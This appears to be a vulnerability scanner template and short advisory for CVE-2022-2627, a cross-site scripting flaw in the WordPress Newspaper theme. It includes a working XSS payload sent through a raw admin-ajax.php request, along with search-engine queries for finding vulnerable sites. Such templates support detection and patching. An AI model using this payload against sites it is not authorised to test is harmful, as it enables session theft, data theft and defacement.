WordPress Newspaper theme before 12 is susceptible to cross-site scripting. The does not sanitize a parameter before outputting it back in an HTML attribute via an AJAX action. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.
PoC代码[已公开]
id: CVE-2022-2627
info:
name: WordPress Newspaper < 12 - Cross-Site Scripting
author: ramondunker,c4sper0
severity: medium
description: |
WordPress Newspaper theme before 12 is susceptible to cross-site scripting. The does not sanitize a parameter before outputting it back in an HTML attribute via an AJAX action. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
remediation: Fixed in version 12
reference:
- https://wpscan.com/vulnerability/038327d0-568f-4011-9b7e-3da39e8b6aea
- https://nvd.nist.gov/vuln/detail/CVE-2022-2627
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-2627
cwe-id: CWE-79
epss-score: 0.23643
epss-percentile: 0.95793
cpe: cpe:2.3:a:tagdiv:newspaper:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: tagdiv
product: newspaper
framework: wordpress
shodan-query: http.html:/wp-content/themes/newspaper
fofa-query: body=/wp-content/themes/newspaper
publicwww-query:
- "/wp-content/themes/Newspaper"
- /wp-content/themes/newspaper
tags: cve2022,cve,xss,wordpress,wp,wp-theme,newspaper,wpscan,tagdiv
http:
- raw:
- |
POST /wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=11.2 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=td_ajax_loop&loopState[moduleId]={{xss_payload}}&loopState[server_reply_html_data]=
payloads:
xss_payload:
- "--><form><math><img+onerror=alert(document.domain)+src=1><mtext></form>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- <form><math><img onerror=alert(document.domain) src=1><mtext>
- td-block-
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
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